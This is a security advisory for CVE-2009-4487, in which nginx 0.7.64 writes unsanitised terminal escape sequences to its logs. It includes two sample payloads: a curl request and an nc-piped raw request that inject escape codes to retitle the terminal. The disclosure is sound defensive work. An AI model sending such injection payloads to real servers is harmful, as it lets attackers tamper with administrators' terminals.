nginx Terminal Escape Sequence in Logs Command Injection Vulnerability

Bugtraq ID:	37711
Class:	Input Validation Error
CVE:	CVE-2009-4487
Remote:	Yes
Local:	No
Published:	Jan 11 2010 12:00AM
Updated:	Jan 11 2010 12:00AM
Credit:	Giovanni 'evilaliv3' Pellerano, Alessandro 'jekil' Tanasi, and Francesco 'ascii' Ongaro
Vulnerable:	Igor Khasilev nginx 0.7.64
Not Vulnerable:

nginx Terminal Escape Sequence in Logs Command Injection Vulnerability

The 'nginx' program is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects nginx 0.7.64; other versions may also be affected.

nginx Terminal Escape Sequence in Logs Command Injection Vulnerability

Attackers can exploit this issue with readily available tools.

The following examples are available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload

nginx Terminal Escape Sequence in Logs Command Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

nginx Terminal Escape Sequence in Logs Command Injection Vulnerability

References:

• nginx Homepage (Igor Sysoev)
  
• Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws a (ascii )